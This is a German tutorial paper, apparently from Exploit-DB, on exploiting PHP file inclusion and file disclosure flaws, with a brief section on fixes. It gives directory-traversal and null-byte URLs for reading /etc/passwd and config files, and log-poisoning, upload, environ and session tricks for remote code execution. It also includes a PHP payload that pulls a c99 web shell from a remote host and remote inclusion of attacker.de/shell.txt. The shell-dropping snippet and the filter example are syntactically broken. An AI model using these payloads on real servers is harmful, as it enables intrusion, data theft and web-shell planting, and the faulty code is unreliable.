[German] File Inclusion Disclosure

EDB-ID:

15108

CVE:

N/A

Author:

fred777

Type:

papers

Platform:

Multiple

Published:

2010-09-25

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*******************************************************
#            WEBSECURITY DOCUMENTATION               #
#       --------------------------------------       #
#             File Inclusion/Disclosure              #
#       --------------------------------------       #
#                                                    #
#                                                    #
#  written by fred777 [fred777.5x.to]                #
#                                                    #
******************************************************
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--[0x00]-- Intro

--[0x01]-- Local File Inclusion
   [1] Description
   [2] Basic Exploiting
   [3] Advanced Exploiting
   [4] Dateien
   [5] LFI2RCE
   [6] Absichern

--[0x02]-- Remote File Inclusion
   [1] Description
   [2] Basic Exploiting
   [3] Exploiting Advanced

--[0x03]-- File Disclosure
   [1] Description
   [2] Exploiting
   [3] LFI2FD

--[0x04]-- Finito

********************************************************
#######################################################

--[0x00]-- Intro

File Inclusions sind Lücken in Webanwendungen, welche es uns ermöglichen
fremde Scripte oder Codes in das eigentliche Script einzubinden.
Unterschieden wird allgemein zwischen Remote und Local File Inclusions.
LFI auch Local File Inclusion genannt ermöglicht es uns
local gespeicherte Dateien auf dem Server in das eigentliche Script einzubinden.
Dies kann gefährlich werden, wenn diese Daten z.B. Konfigurationsdateien sind
und geheime Informationen oder Schadcode enthalten. Bei der RFI hat man zusätzlich Zugriff
auf externe Scripte im Bezug auf inlcude(), require() etc..
Die Bugs entstehen wie so oft durch unsaubere Programmierung.

#######################################################

--[0x01]-- Local File Inclusion

-------------------------------------------------------
 [1] Description
-------------------------------------------------------

Hier werde ich genauer auf Local File Inclusion eingehen. Dazu bezogene PHP
Funktionen, bei welchen diese Lücke auftreten kann sind z.B.
include(), oder require_once().
Sie binden wie schon gesagt, ein existierendes Script in ein anderes ein.
Hilfreich z.B. für Konfigurationsdateien oder Seitenmanagement.

Beispiel:
....................................
<?php
include($_GET['file']);
?>
....................................

Ein einfacher Code der mittels Include per GET-Parameter eine Datei aufruft. Nun so ist es auch
vorgesehen. Der Coder stellt sich vor, dass seine Seite am Ende mit in der URL die Datei includiert
Etwas so:

www.seite.de/index.php?file=newsletter.php

Eigentlich auch kein Problem, ganz komfortabel und oft anzutreffen, nur sollte er wissen,
dass man ohne jede Einschränkung eben auch jede Datei auf dem Server includen kann, 
und das darf nicht sein.

-------------------------------------------------------
 [2] Basic Exploiting
-------------------------------------------------------

Nun was kann man mit so einer Lücke machen, wenn uns alle Dateien auf dem Server zur Verfügung
stehen? Richig, wir suchen nach Dateien, welche evtl. sinnvolle Informationen enthalten könnten.
Vorher allerdings, da man den Sourcecode nicht kennt, sollte man schauen, ob der Parameter 
vulnerable ist. Dafür versuchen wir eine Datei einzubinden, die außerhalb des Webseitenpfads liegt
und immer verfügbar sein sollte.

Diese ist von Betriebssystem zu Betriebssystem verschieden, unter Windowssystemen z.B. die
boot.ini, welche standardmäßig auf: C:\boot.ini liegt.
Unter Unixsystemen z.B. die Userverwaltung 'passwd', welche in '/etc/' liegt.

Binden wir sie ein, müssen wir natürlich einige Verzeichnisse zurück switchen, dies geschieht mit 
'../', dabei gilt, lieber mehr als zuwenig, da beide Dateien weiter zurück nicht liegen können.

www.seite.de/index.php?file=../../../../../../../../etc/passwd

Ist der Parameter nicht überprüft worden, sollte jetzt Plaintext erscheinen, da beide
Dateien nicht von PHP interpretiert werden können, sondern nur von HTML ausgezeichnet werden.
Schlägt es fehl, könnte z.B. so ein Error erscheinen:

Warning: include(../../../../etc/passwd) [function.include]: failed to open stream: No such file or directory in 
/home/fred/domains/fred777.tk/public_html/index.php on line xxx

-------------------------------------------------------
 [3] Advanced Exploiting
-------------------------------------------------------

Oft werden aber auch die Endungen der Dateien schon vorher festgelegt, etwa so:

..................................
<?php
include($_GET['file'].'.php');
?>
..................................

www.seite.de/index.php?file=newsletter

Hier wird die Endung .php automatisch gesetzt, das würde uns natürlich stören, da ein
etc/passwd.php natürlich nicht existiert. 
Jetzt kommt das NULL-Byte zu Hilfe, da es standardmäßig Strings terminiert, sprich nach
dem Nullbyte ist der String zu Ende. Für den GET-Parameter URL-encoded, lautet er: %00
Mit unseren Kentnissen zusammen ergibt sich dann das:

www.seite.de/index.php?file=../../../../../../../../../etc/passwd%00

Aber Achtung, sollte magic_quote_gpc aktiv sein, wird das %00 zu /0, dem
normalen NULL-Byte. Unter Windows lässt sich das manchmal mittels der sogenannten
'Dot Truncation' verhindern, sprich:

www.seite.de/index.php?file=../../../../../../../../../etc/passwd........................

Ansonsten kann man es mit 'Path Truncation' versuchen:

www.seite.de/index.php?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\

-------------------------------------------------------
 [4] Dateien
-------------------------------------------------------

Nun ist passwd aber nicht interessant, da die Passwörter in dem meisten Fällen in etc/shadow stehen
und diese Datei lässt sich meist nicht anzeigen. Deshalb könnte man es sich zu nutze machen und die
config-Dateien auslesen. Dafür wiederrum muss man wissen was für ein System auf dem Server läuft,
da sich die Pfade nur ähneln aber nicht gleichen.

Das bekommt man durch Information Gathering heraus, was ein weit gefächertes Gebiet ist.
Z.B. kann man versuchen ein nicht existierendes File über die URL zu laden, oft steht in der Error-Datei
Was für ein Apache oder OS auf dem Server läuft, hier gibt es viele Methoden das herauszubekommen
welche ich auch nicht alle erläutern werde.
Wir haben also gefunden, dass der Server der Seite ein Apache 2.2 auf Ubuntu ist.

Apache/2.2.11 (Debain,Ubuntu) Server at seite.de Port 80

Also suche wir uns die richtigen Pfade aus:

http://wiki.apache.org/httpd/DistrosDefaultLayout

ServerRoot              ::      /etc/apache2
DocumentRoot            ::      /var/www
Apache Config Files     ::      /etc/apache2/apache2.conf
                        ::      /etc/apache2/ports.conf
Default VHost Config    ::      /etc/apache2/sites-available/default, /etc/apache2/sites-enabled/000-default
Module Locations        ::      /etc/apache2/mods-available, /etc/apache2/mods-enabled
ErrorLog                ::      /var/log/apache2/error.log
AccessLog               ::      /var/log/apache2/access.log
cgi-bin                 ::      /usr/lib/cgi-bin
binaries (apachectl)    ::      /usr/sbin

Jetzt könnten wir uns z.B. das Apache Configfile anschauen:
www.seite.de/index.php?file=../../../../../../etc/apache2/apache2.conf%00

Selbstverständlich gehen wir vom Standard aus. Auch das lässt sich manuell noch 
anpassen. Unter FreeBSD, lassen sich, je nach Konfiguration, auch ganze Ordner einsehen (Direct Listening):
www.seite.de/index.php?file=../../../../../../etc/apache2/%00

-------------------------------------------------------
 [5] LFI2RCE
-------------------------------------------------------

Wir könnten noch weiter gehen und uns überlegen wie man fremden Schadcode auf den Server
bekommt, welchen man dann wieder ausführen könnte; dafür gibt es ein paar Möglichkeiten.

1. Der Errorlog:
................
Jeder Fehler auf einer Seite (Apache) wird in einer Log-Datei gespeichert,
die Error.log, nun kann man extra einen Fehler verursachen welcher dann auch in die Datei geschrieben wird.
Nun der Gedanke, man könnte den Fehler doch mit PHP-Code verursachen, 
so wird dieser in die Error.log Datei geschrieben, der Browser allerdings wird
diesen Code encoden. Um dem entgegen zu wirken benutzen wir einfach Telnet, hier wird die Abfrage abgeschickt
ohne Strings zu encoden. Danach binden wir den Error.log ein, der PHP Code wird interpretiert und
ausgeführt.

Wir wissen ja wir haben Debain mit Apache 2.2, also liegt der Errorlog hier:
/var/log/apache2/error.log
Ansonsten lässt er sich auch aus der Apache-conf Datei lesen.

www.seite.de/index.php?file=../../../../../../../var/log/apache2/error.log

Es funktioniert also.
Nun überlegen wir uns einen PHP-Code welcher eine shell auf dem Server erstellt.

GET/<?php $datei = fopen("böse.php","w+");stream = fopen("http://seite.de/c99.txt", "r");while (!feof($stream)) { 
$böse .= fgets($stream); } fclose($stream);fwrite($datei,$böse) ;fclose($stream)fclose($datei); ?>

Jetzt mit Telnet verbinden und abschicken, es gelangt in den Errorlog
und wenn die Rechte vorhanden sind wird das ganze durch include() ausgeführt.
www.seite.de/index.php?file=../../../../../../../var/log/apache2/error.log

Von seite.de/c99.txt wird die shell kopiert und in böse.php auf dem Server gespeichert. Quasi 1:1
Sie sollte nun verfügbar sein.

www.seite.de/böse.php

Natürlich kann auch jedes andere Logfile so genutzt werden, z.B. die access.log von Apache.

2. Uploadfunktion:
..................
Wenn der Server eine Uploadfunktion hat könnt ihr versuchen eure Datei hochzuladen, falls php verboten ist
versucht es mit einem Bild und PHP-Code. Mittels edjpgcom z.B. kann man Comments in Bilder einfügen.
So fügen wir unseren PHP Shellcode ein. Nun wird es hochgeladen und man gibt
den absoluten Pfad des Bildes/der Datei an und schwups, siehe da, der PHP-Code wird ausgeführt. Achtung mit
den Verzeichnissen, hier muss geachtet werden, wie weit man switched, falls  der absolute Pfad nicht bekannt ist.
Schön auch, sollte es ein Remote File Upload Bug geben.

www.seite.de/index.php?file=../../../../../../../home/fred/domains/fred777.tk/pic.jpg

Die Funktion ist ganz nützlich, z.B. in Foren wo ihr Avatare uploaden könnt. Und nicht vor dem
unbekannten Charset zurückschrecken. Bilder sind kein Plaintext.

3. proc/self/environ:
..................
Dies ist eine Datei, welche falls vorhanden, die Informationen des Users (Browsers) anzeigt.
Auch hier kann der Schadcode einfach in den User_Agent eingefügt (Tamperdata)
und die Datei eingebunden werden.

www.seite.de/index.php?file=../../../../../../../proc/self/environ

Die Shell sollte erstellt worden sein..

4. Sessions:
..................

Arbeitet die Seite mit Sessions, und ihr könnt sie ändern, lassen auch diese sich
relativ simpel einbinden. Meißtens liegen sie in '/tmp/' oder '/var/lib/php5/'
Die Datei setzt sich auch dem String sess_ und der sessid_value zusammen.

www.seite.de/index.php?file=../../../../../../../tmp/sess_valuevaluevalue..

-------------------------------------------------------
 [6] Absichern
-------------------------------------------------------

Um derartige Lücken zu schließen, gibt es wie immer verschiedene Optionen.
Das eine wäre open_basedir, eine Einstellung der php.ini. Sie erlaubt den Zugriff
auf PHP-Files nur in dem angegebenen Bereich. Allerdings könnten dann immernoch
ungewünschte Dateien innerhalb dieses Bereiches eingebunden werden.

Eine weitere schöne Lösung: basename()

..................................
<?php
include(basename($_GET['file']));
?>
..................................

Der eingegebene String, etwa '../../../../../error.log' wird zu 'error.log'
Der Filename wird aus dem Pfad extrahiert.

Ein anderer Punkt wären Arrays oder geziehlte Abfragen der Dateien:
(Konstanten können vorher definiert werden)
..................................
<?php
if($_GET['file'] == 'newsletter' ) {
	include($_GET['file']);}
else {
	include('default.php');}
?>
..................................
Dies kann natürlich mit Datenbanken etc. noch beliebig erweitert werden.

Angefügt kann z.B. noch eine Überprüfung auf 'Badwords' erfolgen.
..................................
preg_match('/%|\./',$_GET['file'],'//');
..................................
Das ganze muss dann entfernt oder replaced werden, Stichwort 'preg_replace'

#################################################################

--[0x02]-- Remote File Inclusion

-------------------------------------------------------
 [1] Description
-------------------------------------------------------

Die Remote File Inclusion verhält sich ähnlich wie die LFI. Sie entsteht gleich und
kann auch gleich behoben werden. Der Unterschied ist nur, dass wir bei der LFI
lokal auf dem Server gelagerte Dateien einbinden mussten. Bei der Remote File Inclusion
stehen uns auch Scripte auf anderen Servern zur Verfügung, was das Problem natürlich wesentlich
vereinfacht.
Zustande kommt der Unterschied wieder in der php.ini. Hier existieren die Einstellungen:

- allow_url_fopen, es muss = on gesetzt werden und ermöglicht dass auch URL Objekte gewrappt werden.
- allow_url_include, muss ebenfalls auf on stehen und ermöglicht URL Wrapper auf z.B. include().

Sind diese Bedingungen gegeben, können auch Dateien von externen Servern eingebunden werden.

-------------------------------------------------------
 [2] Basic Exploiting
-------------------------------------------------------

Nehmen wir uns wieder oben schon genanntes Script zur Hand:
....................................
<?php
include($_GET['file']);
?>
....................................

Nun müssen nicht mehr umständige Wege gegangen werden, um eigenen Code einzubinden. Dies
kann simpel von außen geschehen. Wir laden ihn in Form von Text auf eine Seite und binden ihn ein.

www.attacker.de/shell.txt

www.seite.de/index.php?file=http://attacker.de/shell.txt?

Notfalls auch hier wieder unser NULL-Byte.

-------------------------------------------------------
 [3] Exploiting Advanced
-------------------------------------------------------

Auch hier gibt es Kniffe, wie man es sich teils einfacher machen kann oder für
Situationen, wenn z.B. nur 'allow_url_include = On' ist.
Hilfreich hierfür ist z.B. der PHP Stream:

php://input

Er liest Daten aus dem POST Parameter, allerdings achtet auf url_encoding.

www.seite.de/index.php?file=php://input

[DATA IN POST PARAMETER]

#################################################################

--[0x03]-- File Disclosure

-------------------------------------------------------
 [1] Description
-------------------------------------------------------

File Disclosures sind ebenfalls Lücken in Webanwendungen.
Sie werden oft mit File Inclusions verwechselt, und doch unterscheiden sie sich.
Bei einer File Disclosure, werden die Dateien nicht eingebunden, sondern ausgelesen und
angezeigt.
Dafür sind meißtens bei PHP Funktionen zuständig wie:

readfile()
file()
file_get_contents()
fgets()
...

Beispiel:
....................................
<?php
echo file_get_contents($_GET['file']);
?>
....................................

-------------------------------------------------------
 [2] Exploiting
-------------------------------------------------------

Solch einen Bug kann man sich natürlich leicht zunutze machen und
beispielsweise die Konfigurationsdateien auslesen. Da sie oft in
normale Files eingebunden werden, sind sie leicht zu finden.

www.seite.de/index.php?file=../config.php

Auch hier kann mit NULL-Bytes gearbeitet werden, sollte der String noch
sonstige Zeichen enthalten.

www.seite.de/index.php?file=../config.php%00

-------------------------------------------------------
 [3] LFI2FD
-------------------------------------------------------

Hat man nur eine File Inclusion, so kann diese auch zu einer File Disclosure werden.
Bedingung bei der Methode ist, dass allow_url_include=On in der php.ini definiert
und die PHP Version > 5.0.0 ist.

Es wird dabei auf 'php://filter' Metawrapper zurückgegriffen, ihm wird als Resource
die Datei übergeben und das Ergebnis erfolgt konvertiert. Da bei einer File Inclusion
natürlich der Code interpretiert wird, jagen wir ihn einfach durch einen Base64 Encoder,
wobei das Endprodukt 'nur' dargestellt werden kann. Es braucht dann nur noch decodiert zu
werden und man hat den Inhalt der Datei.

www.seite.de/index.php?file=php://filter/convert.base64-encode/resource=config.php
---- BASE64CODE ----

Was lernen wir daraus, sollten Parameter in derartige Funktionen integriert werden,
bitte vorher darauf achten, dass der Inhalt dem entspricht, was auch erwünscht ist.
Das ist leicht mittels Bedingungen und Arrays zu lösen.

##################################################################

--[0x04]-- Finito

Ich hoffe mal, es ist jetzt verständlicher, was bei falsch behandelten PHP Funktionen
im Bezug auf externe Scripte passieren kann.

fred777 @ [fred777.tk]